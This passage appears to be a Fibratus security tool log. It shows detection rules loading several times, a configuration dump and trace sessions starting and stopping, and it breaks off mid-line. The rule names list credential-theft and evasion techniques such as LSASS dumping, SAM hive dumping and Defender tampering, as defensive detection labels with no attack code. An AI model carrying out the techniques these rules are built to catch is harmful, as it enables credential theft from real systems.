+time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:59:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:00:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:00:15+01:00 level=info msg=bootstrapping with pid 22720. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:00:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-dns=>false flush-interval=>1s enable-vamap=>true enable-net=>true max-buffers=>36 enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-mem=>false stack-enrichment=>true enable-handle=>false enable-image=>true buffer-size=>512 enable-fileio=>true min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true level=>info max-age=>0] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 timeout=>5s enabled=>false delivery-mode=>transient durable=>false exchange=>fibratus passive=>false tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false] elasticsearch=>[ healthcheck=>true timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s index-name=>fibratus gzip-compression=>false flush-period=>1s sniff=>false enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false excluded-files=>[] skip-allocs=>false skip-registry=>false excluded-procs=>[] skip-mmaps=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:00:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:00:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:00:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:00:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:00:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:04:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from 